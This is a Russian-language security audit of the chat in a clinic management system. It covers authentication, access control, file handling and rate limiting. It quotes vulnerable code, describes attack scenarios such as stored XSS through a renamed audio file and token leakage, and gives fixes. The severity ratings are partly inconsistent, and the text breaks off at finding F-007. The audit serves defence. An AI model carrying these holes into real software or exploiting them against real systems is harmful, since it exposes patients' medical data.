

Аудит безопасности in-app чата медицинской клиники

Оценка защищённости системы обмена сообщениями
между пользователями

Комплексный анализ безопасности встроенного чата системы
управления клиникой: WebSocket-аутентификация, REST API
сообщений, файловые операции, голосовые сообщения, контроль
доступа на основе ролей и соответствие требованиям защиты
медицинских данных (PHI).

ОБЪЕКТ

github.com/drsapaev/final

ТИП АУДИТА

Security Assessment (Code Review)

СТАНДАРТ

OWASP ASVS 4.0 · OWASP Top 10 (2021)

ДАТА

6 июля 2026 г.

Оглавление

1. Резюме для руководителя	3
Топ-3 риска для немедленного устранения	3
2. Объект аудита и методология	5
2.1. Объект аудита	5
2.2. Методология	5
2.3. Ограничения	5
3. Архитектура чата и поверхность атаки	6
3.1. Компоненты и поток данных	6
3.2. REST-эндпоинты	6
3.3. WebSocket-события	6
3.4. Поверхность атаки	7
4. Сводная таблица находок	8
5. Находки критического уровня (Critical)	10
F-001. JWT-токен в URL Query String WebSocket	10
F-002. Отсутствие tenant-изоляции таблицы messages	11
6. Находки высокого уровня (High)	14
F-003. Неполная валидация голосовых файлов (только расширение)	14
F-004. Слабая авторизация доступа к файлам через Message.content.contains()	15
F-005. Отсутствие rate-limiting на WS-событиях и REST чата	18
F-006. Спуфинг typing-индикатора и утечка online-статуса	19
7. Находки среднего уровня (Medium)	21

F-007. Silent swallowing ошибок audit-log	21
F-008. PII/PHI в preview бесед (content[:100])	22
F-009. Нешифрованное хранение контента сообщений (plaintext Text)	23
F-010. ReactMarkdown без санитизации протоколов (javascript:, data:)	24
F-011. DNS rebinding в link-preview (validation-then-fetch race)	26
F-012. Fire-and-forget asyncio.create_task без обработки ошибок	27
8. Находки низкого уровня (Low)	29
F-013. Отсутствие пагинации в conversations_list (загружает все сообщения)	29
F-014. Глобальный in-memory state — не работает в multi-instance	31
F-015. Предсказуемые имена voice-файлов voice_{uid}_{ts}	32
F-016. Отсутствие CSP-заголовков для приложения	33
F-017. Мягкое удаление не физическое — retention может не сработать	34
F-018. Bare except Exception: pass скрывает атаки	35
9. План устранения (Remediation Roadmap)	37
Волна 1 — Немедленные меры (1–2 недели)	37
Волна 2 — Краткосрочные меры (1 месяц)	37
Волна 3 — Долгосрочные меры (1 квартал)	38
10. Compliance-чеклист (PHI / медицинские данные)	39
11. Приложение А: список проанализированных файлов	41
12. Приложение Б: глоссарий и ссылки	42
12.1. Глоссарий	42
12.2. Ссылки на стандарты	43

1. Резюме для руководителя

Настоящий отчёт содержит результаты аудита безопасности встроенного чата системы управления медицинской клиникой (репозиторий github.com/drsapaev/final). Объектом аудита является подсистема обмена сообщениями между пользователями клиники — врачами, регистраторами, кассирами, лаборантами и пациентами. Аудит проводился методом статического анализа исходного кода (white-box code review) с использованием контрольных списков OWASP ASVS 4.0 и OWASP Top 10 (2021).

В ходе аудита было проанализировано 18 ключевых файлов: WebSocket-обработчик чата, сервисный уровень сообщений, REST-эндпоинты, модели базы данных, схемы Pydantic, фронтенд-компоненты (ChatWindow, ChatContext, LinkPreview, VoiceRecorder), конфигурация прав доступа и утилиты валидации медиа. Общий объём проанализированного кода составил порядка 4 500 строк. Было выявлено 18 находок безопасности, распределённых по четырём уровням серьёзности.



Топ-3 риска для немедленного устранения

F-001. JWT-токен в URL Query String WebSocket. Токен аутентификации передаётся в URL подключения `ws://host/ws/chat?token=`. Это приводит к попаданию токена в логи серверов (nginx, reverse-proxy), историю браузера и потенциально в Referer-заголовки. Утечка токена позволяет злоумышленнику полностью имперсонировать пользователя до истечения срока действия.

F-002. Отсутствие tenant-изоляции на уровне сообщений. Таблица `messages` не имеет поля `clinic_id/branch_id`. Контроль доступа реализован только через role-based матрицу `MESSAGING_PERMISSIONS`. В multi-clinic развёртывании это позволяет пользователю одной клиники инициировать переписку с пользователем другой клиники, если их роли разрешены матрицей.

F-003. Неполная валидация голосовых вложений. Функция `validate_audio_file()` проверяет только расширение файла, а не его фактическое содержимое (magic bytes). Злоумышленник может загрузить произвольный файл (HTML, SVG с встроенным JS, исполняемый код) с расширением `.mp3`. При отдаче через `FileResponse` с `Content-Disposition: inline` браузер может выполнить MIME-sniffing и интерпретировать файл как HTML, что приводит к stored XSS.

Общая оценка зрелости безопасности чата

Уровень зрелости: Низкий–Средний. Базовые механизмы аутентификации (JWT) и авторизации (RBAC-матрица) реализованы и работают, однако отсутствуют критические защитные меры: rate-limiting, изоляция tenant, проверка целостности файлов, санитизация протоколов в Markdown. Для медицинской системы, обрабатывающей РНИ, необходимо устранить 2 критические и 4 высокоприоритетные находки в течение 2 недель.

2. Объект аудита и методология

2.1. Объект аудита

Объектом аудита является подсистема in-app чата системы управления клиникой github.com/drsapaev/final. Чат обеспечивает обмен текстовыми сообщениями, голосовыми записями и файлами между ролями системы: **Admin, Doctor** (включая подвиды **cardio/derma/dentist**), **Registrar, Cashier, Lab, Patient**. Поддерживаются функции: чтение/непрочитанное состояние, реакции (emoji), индикатор набора текста (typing indicator), online-status пользователей, мягкое удаление сообщений у отправителя/получателя, превью ссылок (link preview) и интеграция с EMR через привязку сообщения к patient_id.

В скоуп аудита вошли следующие подсистемы чата: WebSocket-обработчик (chat_ws.py), REST API сообщений (messages_api_service.py), CRUD и модель БД (crud/message.py, models/message.py), схемы Pydantic (schemas/message.py), конфигурация прав (core/messaging_config.py), утилиты аудио-валидации (utils/audio.py), link-preview endpoint (api/v1/endpoints/utils.py), а также фронтенд-компоненты ChatWindow.jsx, ChatContext.jsx, LinkPreview.jsx.

2.2. Методология

Аудит выполнен методом статического анализа исходного кода (white-box) без динамического тестирования (penetration testing). Применён контрольный список OWASP Application Security Verification Standard (ASVS) v4.0, в особенности разделы V3 (Session Management), V4 (Access Control), V5 (Validation, Sanitization and Encoding), V7 (Cryptographic at Rest), V12 (Files and Resources), V13 (API и WebSocket). Дополнительно проверены требования OWASP Top 10 (2021): A01 Broken Access Control, A02 Cryptographic Failures, A03 Injection, A04 Insecure Design, A05 Security Misconfiguration, A07 Identification and Authentication Failures, A08 Software and Data Integrity Failures, A09 Security Logging and Monitoring Failures.

Для WebSocket-специфичных проверок использован cheat-sheet «OWASP WebSocket Security» и RFC 6455. Оценка серьёзности находок выполнена по CVSS v3.1 (Common Vulnerability Scoring System). Каждая находка содержит: описание, затронутый код с указанием файла и строки, воспроизведение/доказательство, оценку impact, CVSS-вектор с обоснованием и конкретные рекомендации по устранению с примерами исправленного кода.

2.3. Ограничения

Аудит не включал: динамическое тестирование (DAST, fuzzing, load testing), анализ инфраструктуры (TLS-сертификаты, настройки nginx, secrets management), проверку сторонних зависимостей (SCA) и их CVE, реверс-инжиниринг мобильных клиентов, аудит AI-chat и Telegram-бота (эти подсистемы выходят за рамки запрошенного объекта). Также не выполнялся аудит смежных таблиц (notifications, audit_log) за пределами прямой интеграции с чатом.

3. Архитектура чата и поверхность атаки

3.1. Компоненты и поток данных

Чат реализован поверх двух параллельных транспортных каналов: асинхронного WebSocket /ws/chat?token= для real-time-событий и синхронного REST API /api/v1/messages/* для операций с persisted-состоянием. WebSocket-менеджер ChatConnectionManager хранит active-соединения в dict[int, WebSocket] (in-memory, в рамках одного процесса). Сообщения и реакции сохраняются в PostgreSQL (таблица messages и message_reactions); голосовые и файловые вложения — в локальной файловой системе сервера (uploads/voice_messages/ и uploads/chat/) с метаданными в таблице files.

3.2. REST-эндпоинты

Метод	Путь	Назначение
POST	/api/v1/messages/send	Отправка текстового сообщения
GET	/api/v1/messages/conversations	Список бесед пользователя
GET	/api/v1/messages/conversation/{user_id}	История переписки + auto-mark-as-read
GET	/api/v1/messages/unread	Счётчик непрочитанных
PATCH	/api/v1/messages/{id}/read	Пометка одного сообщения прочитанным
DELETE	/api/v1/messages/{id}	Мягкое удаление у отправителя/получателя
POST	/api/v1/messages/{id}/reactions	Переключение emoji-реакции
GET	/api/v1/messages/users/available	Поиск доступных получателей
POST	/api/v1/messages/send-voice	Загрузка голосового сообщения
GET	/api/v1/messages/voice/{id}/stream	Стриминг голосового файла
POST	/api/v1/messages/upload	Загрузка файлового вложения
GET	/api/v1/messages/download/{filename}	Скачивание файлового вложения
GET	/api/v1/utls/link-preview?url=...	Пreview внешних ссылок (SSRF-relevant)

Таблица 1. REST-эндпоинты чата и связанных утилит.

3.3. WebSocket-события

Тип события	Направление	Назначение
typing	client → server → recipient	Индикатор набора текста
ping / pong	bidirectional	Heartbeat, keepalive
get_online_status	client → server	Запрос online-статуса списка user_id

Тип события	Направление	Назначение
new_message	server → client	Push нового сообщения
message_read / messages_read	server → client	Уведомление отправителя о прочтении
reaction_update	server → client	Обновление реакций на сообщение
message_deleted	server → client	Уведомление об удалении

Таблица 2. WebSocket-события чата.

3.4. Поверхность атаки

Ключевые элементы поверхности атаки чата: (1) WebSocket-эндпоинт `/ws/chat` — аутентификация через JWT в URL, обработка четырёх типов клиентских событий; (2) REST-эндпоинты сообщений — 12 маршрутов с разнообразными операциями (CRUD, file I/O, search); (3) файловое хранилище — два каталога (`uploads/chat/` и `uploads/voice_messages/`) с прямым доступом через `FileResponse`; (4) `link-preview endpoint` — `fetcher` внешних URL с потенциальным SSRF-риском; (5) `in-memory state` — глобальный `ChatConnectionManager` без `distributed`-координации.

4. Сводная таблица находок

Ниже представлены все 18 находок аудита, упорядоченные по уровню серьёзности. Каждая находка имеет уникальный идентификатор (F-XXX), категорию по классификации OWASP, оценку CVSS v3.1 и бейдж серьёзности. Подробное описание с затронутым кодом, доказательствами и рекомендациями приведено в главах 5–8.

ID	Название	Категория	CVSS	Серьёзность
F-001	JWT-токен в URL Query String WebSocket	Auth/Crypto	7.5	Critical
F-002	Отсутствие tenant-изоляции таблицы messages	Access Control	7.1	Critical
F-003	Неполная валидация голосовых файлов (только расширение)	Injection/XSS	7.1	High
F-004	Слабая авторизация доступа к файлам через content.contains()	IDOR	6.5	High
F-005	Отсутствие rate-limiting на WS-событиях и REST чата	DoS	5.3	High
F-006	Спуфинг typing-индикатора и утечка online-статуса	Privacy/Access	5.3	High
F-007	Silent swallowing ошибок audit-log	Logging/Monitoring	4.3	Medium
F-008	PII/PHI в preview бесед (content[:100])	Info Disclosure	4.3	Medium
F-009	Нешифрованное хранение контента сообщений (plaintext Text)	Crypto at Rest	4.3	Medium
F-010	ReactMarkdown без санитизации протоколов (javascript:, data:)	XSS	4.6	Medium
F-011	DNS rebinding в link-preview (validation-then-fetch race)	SSRF	4.3	Medium
F-012	Fire-and-forget asyncio.create_task без обработки ошибок	Reliability	3.7	Medium
F-013	Отсутствие пагинации в conversations_list (загружает все)	DoS	3.7	Low
F-014	Глобальный in-memory state — не работает в multi-instance	Architecture	3.1	Low
F-015	Предсказуемые имена voice-файлов voice_{uid}_{ts}	Info Disclosure	2.7	Low
F-016	Отсутствие CSP-заголовков для приложения	Hardening	3.1	Low
F-017	Мягкое удаление не физическое — retention может не сработать	Compliance	2.7	Low

ID	Название	Категория	CVSS	Серьёзность
F-018	Bare except Exception: pass скрывает атаки	Logging	3.1	Low

Таблица 3. Сводная таблица находок аудита.

5. Находки критического уровня (Critical)

В данной главе описаны находки с уровнем серьёзности **Critical** (CVSS 7.0–10.0). Эти уязвимости требуют немедленного устранения (в течение 1–7 дней) — их эксплуатация может привести к компрометации учётных записей, нарушению конфиденциальности медицинских данных и пересечению границ клиник.

F-001. JWT-токен в URL Query String WebSocket

Серьёзность: **Critical** | CVSS v3.1: 7.5 | Вектор: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Описание

WebSocket-эндпоинт чата `/ws/chat` принимает JWT-токен аутентификации через URL Query String параметр `token`. Хотя RFC 6455 не запрещает query-параметры, такая практика небезопасна: URL записывается в access-логи reverse-proxy (nginx, Caddy, Traefik), в историю браузера пользователя, может утекать через Referer-заголовок при перенаправлениях, а также кэшироваться промежуточными прокси-серверами.

Затронутый код

Файл: `backend/app/ws/chat_ws.py`, строки 178–211. Также продублировано на фронтенде в `frontend/src/contexts/ChatContext.jsx`, строка 355: `const wsUrl = `${wsBase}/ws/chat?token=${latestToken}``.

```
async def chat_websocket_handler(
    websocket: WebSocket,
    token: str = Query(...) # ← JWT передаётся в URL
):
    """WebSocket endpoint для чата.
    Подключение: ws://localhost:18000/ws/chat?token=<JWT_TOKEN>
    """
    db = SessionLocal()
    try:
        user = await authenticate_websocket(websocket, token, db)
```

Воздействие

Утечка JWT-токена позволяет злоумышленнику полностью имперсонировать любого пользователя до истечения срока действия токена (typically 30–60 минут, но может быть дольше для refresh-токенов). Злоумышленник получает доступ ко всем REST-эндпоинтам от имени жертвы: чтение переписок, отправка сообщений от её имени, доступ к PHI пациентов через привязку `patient_id`. В медицинской системе это напрямую нарушает требования HIPAA § 164.312(a)(2)(iii) (Automatic Logoff) и § 164.312(e)(1) (Transmission Security).

Рекомендация

Перенести передачу токена в первый WebSocket-сообщение после установления соединения, либо использовать механизм Sec-WebSocket-Protocol (subprotocol) или cookie с флагом HttpOnly+Secure+SameSite=Strict. Пример безопасного паттерна: клиент устанавливает WS-соединение без токена в URL, сервер немедленно отправляет challenge, клиент отвечает JWT в первом сообщении, сервер проверяет и либо закрывает соединение, либо продолжает обработку.

```
# Backend: chat_ws.py
async def chat_websocket_handler(websocket: WebSocket):
    await websocket.accept()
    # Шаг 1: ждём auth-сообщение в течение 5 секунд
    try:
        first_msg = await asyncio.wait_for(
            websocket.receive_text(), timeout=5.0)
        auth_data = json.loads(first_msg)
        token = auth_data.get("token")
        if not token:
            await websocket.close(code=4001, reason="No token")
            return
    except (asyncio.TimeoutError, json.JSONDecodeError):
        await websocket.close(code=4001, reason="Auth timeout")
        return
    # Шаг 2: валидируем JWT
    user = await authenticate_websocket(websocket, token, db)
    if not user:
        await websocket.close(code=4001, reason="Invalid token")
        return
    # Шаг 3: регистрируем соединение
    await chat_manager.connect(user.id, websocket)
    # ... основной цикл

# Frontend: ChatContext.jsx
const ws = new WebSocket(wsBase + "/ws/chat"); // без токена в URL
ws.onopen = () => {
    ws.send(JSON.stringify({
        type: "auth",
        token: latestToken,
        contract_version: MESSAGING_CONTRACT_VERSION,
    }));
};
```

F-002. Отсутствие tenant-изоляции таблицы messages

Серьёзность: **Critical** | CVSS v3.1: 7.1 | Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Описание

Таблица messages не содержит поля clinic_id или branch_id. Контроль доступа при отправке сообщений реализован исключительно через role-based матрицу MESSAGING_PERMISSIONS в core/messaging_config.py, которая проверяет только роли (Admin, Doctor, Patient и т.д.), но не принадлежность отправителя и получателя к одной клинике/филиалу. В multi-tenant развёртывании

(несколько клиник на одном инстансе) это позволяет врачу клиники А написать врачу клиники В без какой-либо проверки границы tenant.

Затронутый код

Файл: backend/app/models/message.py, строки 13–98 (отсутствует clinic_id). Файл: backend/app/core/messaging_config.py, строки 9–36 (матрица только по ролям). Файл: backend/app/services/messages_api_service.py, строки 120–135 (validate_recipient проверяет только role).

```
# models/message.py — HET clinic_id
class Message(Base):
    __tablename__ = "messages"
    id: Mapped[int] = mapped_column(Integer, primary_key=True, index=True)
    sender_id: Mapped[int] = mapped_column(Integer, ForeignKey("users.id"), ...)
    recipient_id: Mapped[int] = mapped_column(Integer, ForeignKey("users.id"), ...)
    message_type: Mapped[str] = mapped_column(String(20), default="text")
    content: Mapped[str] = mapped_column(Text, default="")
    # ... НИ СЛОВА о clinic_id / branch_id

# messaging_config.py — только роли
MESSAGING_PERMISSIONS = {
    "Admin": ["Admin", "Doctor", "Registrar", "Cashier", "Lab", "Patient", ...],
    "Doctor": ["Admin", "Doctor", "Registrar", "Cashier", "Lab", "Patient", ...],
    # ... никакого учёта клиник
}

def can_send_message(sender_role: str, recipient_role: str) -> bool:
    allowed = MESSAGING_PERMISSIONS.get(sender_role, [])
    return recipient_role in allowed # ← tenant не учитывается
```

Воздействие

В multi-clinic развёртывании нарушается конфиденциальность переписки между филиалами. Пациент клиники А может инициировать чат с врачом клиники В, передавая медицинские данные через границу организаций. Это нарушает HIPAA § 164.502(a) (Permitted Uses and Disclosures) и GDPR Art. 5(1)(c) (Data Minimization). Для single-clinic развёртывания риск снижается до Medium, но архитектурный долг остаётся.

Рекомендация

Добавить поле clinic_id в таблицу messages (с FK на clinics). Расширить can_send_message() сигнатурой с clinic_id отправителя и получателя. На уровне middleware принудительно фильтровать все запросы к messages по clinic_id текущего пользователя.

```
# models/message.py
class Message(Base):
    __tablename__ = "messages"
    # ... существующие поля
    clinic_id: Mapped[int] = mapped_column(
        Integer, ForeignKey("clinics.id", ondelete="CASCADE"),
        nullable=False, index=True)

# messaging_config.py
```

```
def can_send_message(sender: User, recipient: User) -> bool:
    allowed = MESSAGING_PERMISSIONS.get(sender.role, [])
    if recipient.role not in allowed:
        return False
    # Tenant isolation: оба пользователя должны быть в одной клинике
    if sender.clinic_id != recipient.clinic_id:
        return False
    return True
```

6. Находки высокого уровня (High)

Находки уровня **High** (CVSS 4.0–6.9) требуют устранения в течение 1–2 недель. Их эксплуатация может привести к stored XSS, несанкционированному доступу к файлам чата, отказу в обслуживании и утечке метаданных присутствия.

F-003. Неполная валидация голосовых файлов (только расширение)

Серьёзность: **High** | CVSS v3.1: 7.1 | Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Описание

Функция `validate_audio_file()` в `utils/audio.py` проверяет только расширение файла, а не его фактическое содержимое (magic bytes / MIME-сниффинг). Злоумышленник может загрузить произвольный файл с расширением `.mp3` — например, HTML-страницу с JavaScript или SVG с встроенным скриптом. При стриминге через `FileResponse` с заголовком `Content-Disposition: inline` и MIME-типом, вычисленным из расширения, браузер может выполнить content-sniffing и интерпретировать файл как HTML, что приводит к stored XSS в домене приложения.

Затронутый код

Файл: `backend/app/utils/audio.py`, строки 28–62. Файл:

`backend/app/services/messages_api_service.py`, строки 781–798 (`stream_voice_message` возвращает `FileResponse` с inline disposition).

```
# utils/audio.py — проверка ТОЛЬКО по расширению
async def validate_audio_file(content: bytes, filename: str) -> tuple[str, str]:
    file_ext = os.path.splitext(filename)[1].lower()
    if file_ext not in ALLOWED_AUDIO_FORMATS:
        raise HTTPException(400, "Неподдерживаемый формат аудио")
    mime_type = ALLOWED_AUDIO_FORMATS[file_ext] # ← нет проверки magic bytes
    format_name = file_ext.replace(".", "")
    return format_name, mime_type

# messages_api_service.py — stream с inline disposition
@router.get("/voice/{message_id}/stream")
async def stream_voice_message(message_id: int, ...):
    return FileResponse(
        payload["path"],
        media_type=payload["media_type"],
        headers={"Content-Disposition": f'inline; filename="{...}"'},
    )
```

Воздействие

Stored XSS через голосовое сообщение. Злоумышленник (зарегистрированный пользователь с ролью Patient или Doctor) загружает файл `evil.html` с переименованием в `evil.mp3`, отправляет его жертве как voice message. При открытии стриминга в браузере жертвы выполняется JavaScript в контексте

домена приложения — кража JWT из localStorage, чтение PHI из API, отправка сообщений от имени жертвы. Также возможны CVE в rydub/ffmpeg при обработке сформированных медиа-файлов.

Рекомендация

Добавить проверку magic bytes (сигнатуры файла) в `validate_audio_file()`. Использовать библиотеку `python-magic` или `mutagen` для определения фактического формата. Принудительно устанавливать `Content-Disposition: attachment` для всех файлов чата (кроме проверенных изображений в `message_type=image`). Добавить заголовок `X-Content-Type-Options: nosniff`.

```
# utils/audio.py — добавить проверку magic bytes
import magic # python-magic

AUDIO_MAGIC = {
    b"\xff\xfb": "mp3",      # MP3 frame sync
    b"\x49\x44\x33": "mp3", # ID3 tag
    b"RIFF": "wav",
    b"OggS": "ogg",
    b"\x00\x00\x00": "m4a",  # MP4/M4A
    b"\x1aE\xdf\xa3": "webm",
}

async def validate_audio_file(content: bytes, filename: str) -> tuple[str, str]:
    # 1. Проверка расширения (как раньше)
    file_ext = os.path.splitext(filename)[1].lower()
    if file_ext not in ALLOWED_AUDIO_FORMATS:
        raise HTTPException(400, "Неподдерживаемый формат")
    # 2. Проверка magic bytes
    detected = magic.from_buffer(content, mime=True)
    expected_mime = ALLOWED_AUDIO_FORMATS[file_ext]
    if detected != expected_mime:
        raise HTTPException(400, "Содержимое файла не соответствует расширению")
    return file_ext.replace(".", ""), expected_mime

# messages_api_service.py — насильно attachment
return FileResponse(
    payload["path"],
    media_type=payload["media_type"],
    headers={
        "Content-Disposition": 'attachment; filename="voice.mp3"',
        "X-Content-Type-Options": "nosniff",
    },
)
```

F-004. Слабая авторизация доступа к файлам через `Message.content.contains()`

Серьёзность: **High** | CVSS v3.1: 6.5 | Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Описание

Эндпоинт GET /api/v1/messages/download/{filename} выполняет авторизацию доступа к файлу через поиск сообщений, у которых Message.content содержит подстроку /download/{filename}. Логика в строках 824–857 находит все сообщения с упоминанием этого пути и проверяет, является ли текущий пользователь отправителем или получателем хотя бы одного из них. Это создаёт два риска: (1) если злоумышленник отправил жертве любое сообщение с текстом /download/20240101_120000_42_abc_secret.txt, это сообщение становится «ключом» для доступа к файлу; (2) substring-поиск по Text-полю медленный и масштабируется O(N) по всем сообщениям.

Затронутый код

Файл: backend/app/services/messages_api_service.py, строки 824–857 (download_chat_file).

```
@router.get("/download/{filename}")
async def download_chat_file(filename: str, name: str = Query(None), ...):
    filename = _safe_chat_storage_filename(filename)
    file_record = db.query(FileModel).filter(FileModel.filename == filename).first()
    if file_record:
        candidate_messages = db.query(Message).filter(
            Message.file_id == file_record.id).all()
    else:
        # ← ОПАСНО: substring search по content
        candidate_messages = db.query(Message).filter(
            Message.content.contains(f"/download/{filename}")).all()
    message = next(
        (item for item in candidate_messages
         if current_user.id == item.sender_id or
         current_user.id == item.recipient_id),
        None,
    )
    if not message:
        raise HTTPException(403, "Нет доступа к этому файлу")
    # ...
```

Воздействие

Возможен несанкционированный доступ к файлам чата. Если злоумышленник может инициировать сообщение жертве с текстом, содержащим путь к файлу (например, через reply-функцию или пересылку URL), он получает право на скачивание этого файла. Для медицинских файлов (снимки, результаты анализов) это прямое нарушение конфиденциальности PHI. Дополнительно, substring-поиск по всем сообщениям пользователя может использоваться для side-channel-атак (timing) и оценки объёма переписки.

Рекомендация

Перейти на прямую авторизацию через file_id сообщения. Удалить логику substring-поиска по content. Каждое сообщение с файлом должно хранить file_id (как уже делает voice-сообщение). Эндпоинт download должен принимать message_id + filename и проверять, что current_user является отправителем или получателем именно этого сообщения.

```
@router.get("/download/{message_id}/{filename}")
```

```
async def download_chat_file(
    message_id: int,
    filename: str,
    db: Session = Depends(get_db),
    current_user: User = Depends(get_current_user),
):
    safe_filename = _safe_chat_storage_filename(filename)
    # Прямая авторизация: ищем конкретное сообщение по ID
    message = db.query(Message).filter(Message.id == message_id).first()
    if not message:
        raise HTTPException(404, "Сообщение не найдено")
    if current_user.id != message.sender_id and current_user.id != message.recipient_id:
        raise HTTPException(403, "Нет доступа к этому файлу")
    # Проверяем, что filename действительно соответствует вложению этого сообщения
    if not message.content.endswith(safe_filename):
        raise HTTPException(400, "Файл не соответствует сообщению")
    file_path = _find_chat_upload_file(safe_filename)
    return FileResponse(
        path=str(file_path),
        filename=safe_filename,
        headers={"X-Content-Type-Options": "nosniff"},
    )
```

F-005. Отсутствие **rate-limiting** на WS-событиях и REST чата

Серьёзность: **High** | CVSS v3.1: 5.3 | Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Описание

Ни WebSocket-обработчик `chat_ws.py`, ни REST-эндпоинты `/api/v1/messages/*` не имеют `rate-limiting`. При этом в проекте уже существует middleware `app/middleware/websocket_rate_limit.py`, но он применяется только к `/ws/queue/auth` (см. `websocket_auth.py`, строки 87–96) и НЕ применяется к `/ws/chat`. Злоумышленник может отправлять тысячи `typing`-индикаторов, `ping`-сообщений и `POST /send` запросов в секунду, вызывая истощение ресурсов сервера и деградацию сервиса для других пользователей.

Затронутый код

Файл: `backend/app/ws/chat_ws.py` — цикл обработки в строках 218–291 не содержит `rate-limit`-проверок. Файл: `backend/app/services/messages_api_service.py` — REST-эндпоинты в строках 668–857 не используют `SlowAPI` или аналоги.

```
# chat_ws.py — НЕТ rate limiting
while True:
    data = await websocket.receive_text() # ← без ограничения частоты
    try:
        message = json.loads(data)
        msg_type = message.get("type")
        # ... обработка typing, ping, get_online_status
        # НИКАКОЙ проверки "сколько событий от этого user_id за секунду?"
    # Сравнение с queue_ws.py — там rate limiting ЕСТЬ:
    allowed, reason = websocket_rate_limiter.check_rate_limit(ip_address)
    if not allowed:
        await websocket.close(code=status.WS_1008_POLICY_VIOLATION, ...)
```

Воздействие

DoS-атака на чат через флуд `typing`-индикаторами, `ping`-сообщениями или `POST /send`. Один злоумышленник с валидным JWT может создать тысячи WebSocket-соединений (одно на токен, но можно открывать табы) или слать тысячи сообщений в секунду, что приведёт к: (1) истощению пула воркеров FastAPI; (2) переполнению `in-memory ChatConnectionManager`; (3) деградации PostgreSQL из-за всплеска `INSERT` в `messages`; (4) нарушению доступности чата для легитимных пользователей — критично для медицинской системы, где чат может использоваться для срочной коммуникации между врачом и регистратором.

Рекомендация

Применить существующий `websocket_rate_limiter` к `chat_ws.py` (перейти на тот же middleware, что в `websocket_auth.py`). Добавить `per-user rate-limiting` на типы событий (`typing` — 5/сек, `get_online_status` — 1/сек, `ping` — 1/30сек). На REST добавить `SlowAPI`: `POST /send` — 10/мин на пользователя, `/upload` — 5/мин, `/send-voice` — 5/мин.

```
# chat_ws.py — применить rate limiter
```

```

from app.middleware.websocket_rate_limit import websocket_rate_limiter
async def chat_websocket_handler(websocket: WebSocket):
    await websocket.accept()
    ip_address = websocket.client.host if websocket.client else "unknown"
    # ... auth flow ...
    allowed, reason = websocket_rate_limiter.check_rate_limit(ip_address)
    if not allowed:
        await websocket.close(code=4008, reason=f"Rate limit: {reason}")
        return
    websocket_rate_limiter.record_connection(ip_address)
    # Per-event-type rate limiting (in-memory token bucket)
    last_typing = {}
    TYPING_MIN_INTERVAL = 0.2 # 5/sec
    while True:
        data = await websocket.receive_text()
        msg = json.loads(data)
        if msg["type"] == "typing":
            now = time.monotonic()
            if now - last_typing.get(user.id, 0) < TYPING_MIN_INTERVAL:
                continue
            last_typing[user.id] = now
        # ...

```

F-006. Спуфинг typing-индикатора и утечка online-статуса

Серьёзность: **High** | CVSS v3.1: 5.3 | Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Описание

WebSocket-обработчик чата принимает от клиента события `typing` и `get_online_status` без проверки того, что указанный `recipient_id` / `user_ids` действительно являются собеседниками текущего пользователя. Любой аутентифицированный пользователь может отправить `typing`-индикатор **ЛЮБОМУ** другому пользователю системы, указав произвольный `recipient_id`. Аналогично, через `get_online_status` можно проверить `online`-статус любого `user_id` без ограничений.

Затронутый код

Файл: `backend/app/ws/chat_ws.py`, строки 243–269.

```

# typing — нет проверки, что recipient_id является собеседником
if msg_type == MessageEventType.TYPING.value:
    recipient_id = message.get("recipient_id")
    is_typing = message.get("is_typing", False)
    if recipient_id:
        await chat_manager.broadcast_typing(
            sender_id=user.id,
            recipient_id=recipient_id, # ← произвольный user_id
            is_typing=is_typing
        )
# get_online_status — нет проверки доступа к запрашиваемым user_id

```

```

elif msg_type == MessageEventType.GET_ONLINE_STATUS.value:
    user_ids = message.get("user_ids", []) # ← любой список
    online_status = {
        uid: chat_manager.is_online(uid)
        for uid in user_ids
    }
    await websocket.send_json(
        build_ws_event_payload(
            MessageEventType.ONLINE_STATUS,
            {"users": online_status}))

```

Воздействие

Нарушение конфиденциальности метаданных: злоумышленник может (1) мониторить online-статус любого пользователя системы, включая врачей, администраторов и пациентов — это позволяет отслеживать рабочие часы, активность, время прихода/ухода; (2) отправлять ложные typing-индикаторы любому пользователю, что может использоваться для социальной инженерии (например, заставить администратора открыть чат с злоумышленником в ожидании важного сообщения). Для медицинской системы утечка присутствия врача может косвенно раскрывать информацию о расписании приёма.

Рекомендация

Добавить проверку, что `recipient_id` в `typing` и все `user_ids` в `get_online_status` действительно являются собеседниками текущего пользователя (т.е. существует хотя бы одно сообщение между ними). Опционально — ограничить `get_online_status` только списком собеседников из `conversations`. Также рассмотреть возможность полностью убрать `get_online_status` и сделать `presence-info` приватным.

```

# chat_ws.py — проверка существующей переписки
from app.crud.message import message as crud_message

if msg_type == MessageEventType.TYPING.value:
    recipient_id = message.get("recipient_id")
    if recipient_id:
        # Проверяем, что между user.id и recipient_id была переписка
        existing_msgs, _ = crud_message.get_conversation(
            db, user1_id=user.id, user2_id=recipient_id, skip=0, limit=1)
        if not existing_msgs:
            # Нет переписки — индикатор не отправляем
            continue
        await chat_manager.broadcast_typing(
            sender_id=user.id, recipient_id=recipient_id, is_typing=is_typing)
elif msg_type == MessageEventType.GET_ONLINE_STATUS.value:
    requested_ids = message.get("user_ids", [])
    # Только собеседники текущего пользователя
    conversations = crud_message.get_conversations_list(db, user_id=user.id)
    allowed_ids = {c["user_id"] for c in conversations}
    safe_ids = [uid for uid in requested_ids if uid in allowed_ids]
    online_status = {uid: chat_manager.is_online(uid) for uid in safe_ids}

```

7. Находки среднего уровня (Medium)

Находки уровня **Medium** (CVSS 4.0–6.9) требуют устранения в течение 1 месяца. Эти уязвимости связаны с обработкой ошибок, утечкой метаданных, недостаточной криптографией и потенциальными XSS-векторами во фронтенд-рендеринге.

F-007. Silent swallowing ошибок audit-log

Серьёзность: **Medium** | CVSS v3.1: 4.3 | Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Описание

Метод `_audit()` в `MessagesApiService` оборачивает запись в audit log в bare try/except
